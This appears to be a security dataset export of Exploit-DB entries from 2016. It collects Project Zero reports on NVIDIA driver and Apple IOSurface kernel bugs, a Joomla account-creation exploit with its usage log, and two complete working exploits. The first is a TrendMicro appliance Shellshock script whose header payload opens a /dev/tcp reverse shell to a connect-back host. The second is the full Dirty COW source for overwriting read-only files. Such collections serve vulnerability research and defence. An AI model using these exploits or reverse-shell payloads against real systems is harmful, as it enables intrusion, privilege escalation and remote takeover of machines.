QLWD/code_shield huggingface dataset:
标题: NVIDIA Driver - NvStreamKms 'PsSetCreateProcessNotifyRoutineEx Local Stack Buffer Overflow Callback / Local Privilege Escalation EDB-ID: 40660 CVE: 2016-8812 类型: LOCAL 平台: WINDOWS 发布日期: 2016-10-31 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=918

The NvStreamKms.sys driver calls PsSetCreateProcessNotifyRoutineEx to set up a
process creation notification routine.

In this particular routine,

if ( cur->image_names_count > 0 ) {
  // info_ is the PPS_CREATE_NOTIFY_INFO that is passed to the routine.
  image_filename = info_->ImageFileName;
  buf = image_filename->Buffer;
  if ( buf )
  {
    if ( !v5 )
    {
      i = 0i64;
      num_chars = image_filename->Length / 2;
      // Look for the filename by scanning for backslash.
      if ( num_chars )
      {
        while ( buf[num_chars - (unsigned int)i - 1] != '\\' )
        {
          i = (unsigned int)(i + 1);
          if ( (unsigned int)i >= num_chars )
            goto LABEL_39;
        }
        buf += num_chars - (unsigned __int64)(unsigned int)i;
      }
LABEL_39:
      v26 = (unsigned int)i;
      wcscpy_s((wchar_t *)Dst, i, buf);
      Dst[v26] = 0;
      wcslwr((wchar_t *)Dst);
      v5 = 1;

wcscpy_s is used incorrectly here, as the second argument is not the size of
|Dst|, but rather the calculated size of the filename. |Dst| is a stack buffer
that is at least 255 characters long. The the maximum component paths of most
filesystems on Windows have a limit that is <= 255 though, so this shouldn't be
an issue on normal filesystems.

However, one can pass UNC paths to CreateProcessW containing forward slashes as
the path delimiter, which means that the extracted filename here can be
"a/b/c/...", leading to a buffer overflow. Additionally, this function has no
stack cookie.

e.g.

CreateProcessW(L"\\\\?\\UNC\\127.0.0.1@8000\\DavWWWRoot\\..../..../..../blah.exe", ...

Crashing context with my PoC (Win 10 x64 with 372.54):

NvStreamKms+0x1c6a:
fffff801`5c791c6a c3              ret

kd> dqs rsp
ffffd000`25bc5d18  00410041`00410041

kd> t

...

KMODE_EXCEPTION_NOT_HANDLED (1e)
...
FAULTING_IP:
NvStreamKms+1c6a
fffff800`5b1d1c6a c3              ret

To reproduce, a WebDAV server is required (can be localhost), and the WebClient
service needs to be started (start can be triggered by user without additional privileges).

Then, run setup to create the long path to the target executable (you'll need to
change the base directories), and then run poc_part1, and then poc_part2 (with
the right UNC path) on the target machine.


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40660.zip URL: https://www.exploit-db.com/exploits/40660
标题: NVIDIA Driver - Escape 0x100010b Missing Bounds Check EDB-ID: 40661 CVE: 2016-7391 类型: DOS 平台: WINDOWS 发布日期: 2016-10-31 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=927

The DxgkDdiEscape handler for escape code 0x100010b looks like:

char escape_100010b(NvMiniportDeviceContext *miniport_context, HANDLE handle, unsigned int idx)
{
  PVOID *Object;
  if ( !handle )
    do_debug_thingo();
  Object = (PVOID *)&miniport_context->UNKNOWN[8 * idx + 22696];
  if ( !ObReferenceObjectByHandle(handle_, SYNCHRONIZE, )ExEventObjectType, UserMode, Object, 0i64) )
  {
    result = 0;
    if ( *Object )
      result = UserMode;
  }
  return result;
}

It essentially takes in a user mode event handle from userspace, and calls
ObReferenceObjectByHandle on it, writing the object pointer to |Object|. Note
that the kernel implementation of ObReferenceObjectByHandle always begins with
writing NULL to this pointer regardless of whether or not the handle is valid.

|Object| is calculated using a user provided index that is not bounds checked,
leading to OOB write of either NULL or the KEVENT pointer:

Object = (PVOID *)&miniport_context_->UNKNOWN[8 * idx + 22696];

The attached PoC causes the following crashing context on Win x64 372.54:

PAGE_FAULT_IN_NONPAGED_AREA (50)
...
rax=ffffe0025ea28f50 rbx=0000000000000000 rcx=0000000000000000
rdx=0000000000100000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff801d8f3daf5 rsp=ffffd000203deda0 rbp=0000000000000001
 r8=ffffe000506d4b50  r9=ffffe000524fb201 r10=0000000000000000
r11=ffffd000203df370 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
nt!ObReferenceObjectByHandleWithTag+0x45:
fffff801`d8f3daf5 488908          mov     qword ptr [rax],rcx ds:ffffe002`5ea28f50=????????????????

To reproduce, compile as a x64 executable and run (requires WDK for D3DKMTEscape).


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40661.zip URL: https://www.exploit-db.com/exploits/40661
标题: NVIDIA Driver - Escape Code Leaks Uninitialised ExAllocatePoolWithTag Memory to Userspace EDB-ID: 40656 CVE: 2016-7386 类型: DOS 平台: WINDOWS 发布日期: 2016-10-31 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=892

The handler for the DxgkDdiEscape escape code 0x70000D4 has the following pseudocode:

void __fastcall escape_70000D4(NvMiniportDeviceContext *a1, NvEscapeData *a2)
{
  Escape70000D4 *escape_data_; // rbx@1
  PVOID alloc_buf; // rsi@1
  unsigned int v4; // edi@1
  __int64 user_ptr; // r14@4
  DWORD *v6; // rbx@5
  __int128 v7; // [rsp+40h] [rbp-38h]@1
  __int128 v8; // [rsp+50h] [rbp-28h]@4
  PVOID alloc_buf_; // [rsp+60h] [rbp-18h]@4

  escape_data_ = (Escape70000D4 *)a2;
  a2->unknown_rest[6] = 1;
  LODWORD(v7) = 0;
  memset((char *)&v7 + 4, 0, 0x24ui64);
  alloc_buf = ExAllocatePoolWithTag_(PagedPool, escape_data_->user_ptr_size, 'paVN');
  v4 = 0;
  if ( !alloc_buf )
    v4 = 0xFFFF;
  if ( v4 )
    goto LABEL_12;
  HIDWORD(v8) = escape_data_->user_ptr_size;
  alloc_buf_ = alloc_buf;
  v4 = sub_625BC(0i64, dword_B1BB94, escape_data_->unknown_0, 0x83F30101, (__int64)&v7, 40);
  user_ptr = escape_data_->user_ptr;
  ProbeForWrite((PVOID)escape_data_->user_ptr, escape_data_->user_ptr_size, UserMode);
  memcpy((void *)escape_data_->user_ptr, alloc_buf, escape_data_->user_ptr_size);
  *(_OWORD *)&escape_data_->unknown_2 = v7;
  *(_OWORD *)&escape_data_->unknown_4 = v8;
  escape_data_->user_ptr = user_ptr;
  if ( v4 )
  {
LABEL_12:
    v6 = &escape_data_->header.unknown_rest[6];
    if ( v6 )
    {
      if ( v4 <= 0xFFFFF000 )
        *v6 = -4096 - v4;
    }
  }
  if ( alloc_buf )
    ExFreePoolWithTag_(alloc_buf, 0x7061564Eu);
}

ExAllocatePoolWithTag is called with a user provided size to allocate a buffer, but the subsequent copying of said buffer to the user provided pointer doesn't make sense since the buffer is never initialised with any values. This means that a user mode program can leak uninitialised memory from arbitrarily-sized pool allocations.

########

Looks like I made an oversimplified analysis of the pseudocode in the report. The allocated buffer pointer is indeed passed off to the sub_625BC function (as part of a struct member on the stack) which eventually passes it to a bunch of other functions.

However, this doesn't change the fact that with the provided PoC, the pool allocated buffer still isn't being initialised and is copied into the user buffer unchanged.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40656.zip URL: https://www.exploit-db.com/exploits/40656
标题: NVIDIA Driver - No Bounds Checking in Escape 0x7000194 EDB-ID: 40658 CVE: 2016-7390 类型: DOS 平台: WINDOWS 发布日期: 2016-10-31 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=895

The DxgkDdiEscape handler for 0x7000194 doesn't do bounds checking with the
user provided lengths it receives. When these lengths are passed to memcpy,
overreads and memory corruption can occur.

void __fastcall escape_7000194(NvMiniportDeviceContext *ctx, Escape7000194 *escape_data)
  ...

  alloc_0_ = ExAllocatePoolWithTag_(PagedPool, escape->size_0, 0x7061564Eu);

  ...

  alloc_1 = ExAllocatePoolWithTag_(PagedPool, escape->size_1, 0x7061564Eu);

  ..

  if ( (_BYTE)v11 ) {
    memcpy(alloc_0, escape->buf_0, escape->size_0);
    memcpy(alloc_1, escape->buf_2, escape->size_1);
  }
  v8 = Escape7Handler(0i64, dword_7DCB84, *(_DWORD *)(v3 + 24), 0x402C0105, &escape->data, 96);
  v9 = v8;
  if ( !(_BYTE)v11 && !v8 )
    memcpy(escape->buf_0, alloc_0, escape->size_0);

  ...

The PoC I've provided causes an OOB read, but it should be possible to pass an
input that results in the third memcpy being executed instead of the first two,
which leads to kernel memory corruption (OOB write).

(Win 10 x64 372.54) crashing context with PoC:

PAGE_FAULT_IN_NONPAGED_AREA (5)
...
Some register values may be zeroed or incorrect.
rax=0000000000000007 rbx=0000000000000000 rcx=ffffc000f5220f80
rdx=fffffffff3d5509c rsi=0000000000000000 rdi=0000000000000000
rip=fffff8007d4dad66 rsp=ffffd00166b9d2a8 rbp=ffffc000e8f55038
 r8=0000000000020fc0  r9=000000000006603e r10=0000000000020000
r11=ffffc000f5200000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
nvlddmkm+0x5dad66:
fffff800`7d4dad66 f30f6f4c0ae0    movdqu  xmm1,xmmword ptr [rdx+rcx-20h] ds:ffffc000`e8f75ffc=????????????????????????????????
Resetting default scope

To reproduce, compile the PoC as a x64 binary (requires linking with
setupapi.lib, and WDK for D3DKMTEscape), and run. It may require some changes
as for it to work as the escape data must contain the right values (e.g. a
field that appears to be gpu bus device function). My PoC should hopefully set
all the right values for the machine it's running on.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40658.zip URL: https://www.exploit-db.com/exploits/40658
标题: Apple OS X/iOS Kernel - IOSurface Use-After-Free EDB-ID: 40653 CVE: 2016-4625 类型: LOCAL 平台: OSX 发布日期: 2016-10-31 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=831

IOSurfaceRootUserClient stores a task struct pointer (passed in via IOServiceOpen) in the field at +0xf0 without taking a reference.

By killing the corrisponding task we can free this pointer leaving the user client with a dangling pointer. We can get this pointer used
by calling the create_surface_fast_path external method which will try to read and use the memory map off of the free'd task struct.

This bug could be leveraged for kernel memory corruption and is reachable from interesting sandboxes including safari and chrome.

build: clang -o surfaceroot_uaf surfaceroot_uaf.c -framework IOKit

You should set gzalloc_min=1024 gzalloc_max=2048 or similar to actually fault on the UaF - otherwise you might see some weird panics!

tested on OS X 10.11.5 (15F34) on MacBookAir5,2

#####################################

another PoC for "task_t considered harmful"
since 10.11.6 blocks us from creating userclients with other task's task ports
this time we create an IOSurface in the child and send back a send right to that
IOSurface to the parent (rather than sending the child's task port.)

The child then execs a suid-root binary which blocks on stderr and the parent
creates an IOSurface which maps any (writable?) page of the euid-0 process into theirs.
Overwrite a function pointer and win.

No race conditions because the task struct pointer is on the kernel heap, not the stack.


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40653.zip URL: https://www.exploit-db.com/exploits/40653
标题: NVIDIA Driver - UVMLiteController ioctl Handling Unchecked Input/Output Lengths Privilege Escalation EDB-ID: 40655 CVE: 2016-7384 类型: LOCAL 平台: WINDOWS 发布日期: 2016-10-31 漏洞利用脚本: /*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=880

The \\.\UVMLiteController device is created by the nvlddmkm.sys driver, and can be opened by any user. The driver handles various control codes for this device, but there is no validation for the input/output buffer and their sizes.

In addition to potential overreads on the input, the driver writes output directly to Irp->UserBuffer, which is the output pointer passed to DeviceIoControl() by the user. The IO control codes handled specify METHOD_BUFFERED, but the kernel does no validation that the output pointer is accessible by the user process if the user passes an output buffer size of 0.

This means that a user mode program can cause a write of (at least) the 32-bit values 0 or 31, or the 8-bit value 0 to any address given to the driver.

A PoC is attached that causes a bsod when the kernel tries to write to 0x4141414141414141+0x30.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40655.zip URL: https://www.exploit-db.com/exploits/40655
标题: NVIDIA Driver - Unchecked Write to User-Provided Pointer in Escape 0x600000D EDB-ID: 40659 CVE: 2016-7387 类型: DOS 平台: WINDOWS 发布日期: 2016-10-31 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=911

The DxgkDdiEscape handler for 0x600000D passes an unchecked user provided
pointer as the destination for a memcpy call. This leads to kernel memory
corruption.

(Win 10 x64 372.54) crashing context with PoC:

SYSTEM_SERVICE_EXCEPTION (3b)
CONTEXT:  ffffd000c076c8b0 -- (.cxr 0xffffd000c076c8b0)
rax=0000000000000880 rbx=0000000000000000 rcx=000000000000000f
rdx=bebe9ec057cc7d47 rsi=ffffd000c076d870 rdi=ffffe001990da008
rip=fffff8010f1eab00 rsp=ffffd000c076d2d8 rbp=ffffd000c076d360
 r8=0000000000003ff1  r9=fffff8010f217d48 r10=fffff78000000008
r11=4141414141414141 r12=0000000000000000 r13=ffffe001990dbe88
r14=ffffe001945f1201 r15=0000000000004000
iopl=0         nv up ei pl nz ac pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010212
nvlddmkm+0x5dab00:
fffff801`0f1eab00 f3410f7f03      movdqu  xmmword ptr [r11],xmm0 ds:002b:41414141`41414141=????????????????????????????????
Resetting default scope

To reproduce, compile the PoC as a x64 binary (requires WDK for D3DKMTEscape),
and run.

For completeness, it looks like many of the other escape handlers in the same function has similar issues with writing to user provided pointers in an unchecked way. This should have been fairly obvious as the code is very close to each other in the same function.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40659.zip URL: https://www.exploit-db.com/exploits/40659
标题: Joomla! 3.4.4 < 3.6.4 - Account Creation / Privilege Escalation EDB-ID: 40637 CVE: 2016-8869 2016-8870 类型: WEBAPPS 平台: PHP 发布日期: 2016-10-27 漏洞利用脚本: Source: https://github.com/XiphosResearch/exploits/tree/master/Joomraa

While analysing the recent Joomla exploit in com_users:user.register we came across a problem with the upload whitelisting. They don't allow files containing <?php, or with the extensions .php and .phtml, but they do allow <?= and .pht files, which works out of the box on most hosting environments, including the standard Ubuntu LAMP install, as per:

<FilesMatch ".+\.ph(p[345]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>
Usage

Choose the username, password and e-mail address to use and point it at the URL for your Joomla website. Use the -x and -s options to customise exploit behaviour, -s searches for the given string in the output after running the PHP file (specified in -x), an example is provided which proves remote code execution.

$ ./joomraa.py -u hacker -p password -e hacker@example.com http://localhost:8080/joomla 

     @@@   @@@@@@    @@@@@@   @@@@@@@@@@   @@@@@@@    @@@@@@    @@@@@@   @@@  
     @@@  @@@@@@@@  @@@@@@@@  @@@@@@@@@@@  @@@@@@@@  @@@@@@@@  @@@@@@@@  @@@  
     @@!  @@!  @@@  @@!  @@@  @@! @@! @@!  @@!  @@@  @@!  @@@  @@!  @@@  @@!  
     !@!  !@!  @!@  !@!  @!@  !@! !@! !@!  !@!  @!@  !@!  @!@  !@!  @!@  !@   
     !!@  @!@  !@!  @!@  !@!  @!! !!@ @!@  @!@!!@!   @!@!@!@!  @!@!@!@!  @!@  
     !!!  !@!  !!!  !@!  !!!  !@!   ! !@!  !!@!@!    !!!@!!!!  !!!@!!!!  !!!  
     !!:  !!:  !!!  !!:  !!!  !!:     !!:  !!: :!!   !!:  !!!  !!:  !!!       
!!:  :!:  :!:  !:!  :!:  !:!  :!:     :!:  :!:  !:!  :!:  !:!  :!:  !:!  :!:  
::: : ::  ::::: ::  ::::: ::  :::     ::   ::   :::  ::   :::  ::   :::   ::  
 : :::     : :  :    : :  :    :      :     :   : :   :   : :   :   : :  :::  

[-] Getting token
[-] Creating user account
[-] Getting token for admin login
[-] Logging in to admin
[+] Admin Login Success!
[+] Getting media options
[+] Setting media options
[*] Uploading exploit.pht
[*] Uploading exploit to: http://localhost:8080/joomla/images/OGBUHCF5F.pht
[*] Calling exploit
[$] Exploit Successful!
[*] SUCCESS: http://localhost:8080/joomla


Full Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40637.zip URL: https://www.exploit-db.com/exploits/40637
标题: TrendMicro InterScan Web Security Virtual Appliance - 'Shellshock' Remote Command Injection EDB-ID: 40619 CVE: 2014-6271 类型: REMOTE 平台: HARDWARE 发布日期: 2016-10-21 漏洞利用脚本: #!/usr/bin/env python
# TrendMicro InterScan Web Security Virtul Appliance
# ==================================================
# InterScan Web Security is a software virtual appliance that 
# dynamically protects against the ever-growing flood of web 
# threats at the Internet gateway exclusively designed to secure 
# you against traditional and emerging web threats at the Internet 
# gateway. The appliance however is shipped with a vulnerable
# version of Bash susceptible to shellshock (I know right?). An
# attacker can exploit this vulnerability by calling the CGI
# shellscript "/cgi-bin/cgiCmdNotify" which can be exploited
# to perform arbitrary code execution. A limitation of this 
# vulnerability is that the attacker must have credentials for
# the admin web interface to exploit this flaw. The panel runs
# over HTTP by default so a man-in-the-middle attack could be
# used to gain credentials and compromise the appliance.
# 
# $ python trendmicro_IWSVA_shellshock.py 192.168.56.101 admin password 192.168.56.1
# [+] TrendMicro InterScan Web Security Virtual Appliance CVE-2014-6271 exploit
# [-] Authenticating to '192.168.56.101' with 'admin' 'password'
# [-] JSESSIONID = DDE38E62757ADC00A51311F1F953EEBA
# [-] exploiting shellshock CVE-2014-6271...
# bash: no job control in this shell
# bash-4.1$ id
# uid=498(iscan) gid=499(iscan) groups=499(iscan)
# 
# -- Hacker Fantastic 
#
# (https://www.myhackerhouse.com)
import requests
import sys
import os

def spawn_listener():
 os.system("nc -l 8080")

def shellshock(ip,session,cbip):
 user_agent = {'User-agent': '() { :; }; /bin/bash -i >& /dev/tcp/'+cbip+'/8080 0>&1'}
 cookies = {'JSESSIONID': session}
 print "[-] exploiting shellshock CVE-2014-6271..."
 myreq = requests.get("http://"+ip+":1812/cgi-bin/cgiCmdNotify", headers = user_agent, cookies = cookies)

def login_http(ip,user,password):
 mydata = {'wherefrom':'','wronglogon':'no','uid':user, 'passwd':password,'pwd':'Log+On'}
 print "[-] Authenticating to '%s' with '%s' '%s'" % (ip,user,password)
 myreq = requests.post("http://"+ip+":1812/uilogonsubmit.jsp", data=mydata) 
 session_cookie = myreq.history[0].cookies.get('JSESSIONID')
 print "[-] JSESSIONID = %s" % session_cookie 
 return session_cookie

if __name__ == "__main__":
 print "[+] TrendMicro InterScan Web Security Virtual Appliance CVE-2014-6271 exploit"
 if len(sys.argv) < 5:
  print "[-] use with <ip> <user> <pass> <connectback_ip>"
  sys.exit()
 newRef=os.fork()
     if newRef==0:
  spawn_listener()
     else:
  session = login_http(sys.argv[1],sys.argv[2],sys.argv[3])
  shellshock(sys.argv[1],session,sys.argv[4]) URL: https://www.exploit-db.com/exploits/40619
标题: Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method) EDB-ID: 40611 CVE: 2016-5195 类型: LOCAL 平台: LINUX 发布日期: 2016-10-19 漏洞利用脚本: /*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
} URL: https://www.exploit-db.com/exploits/40611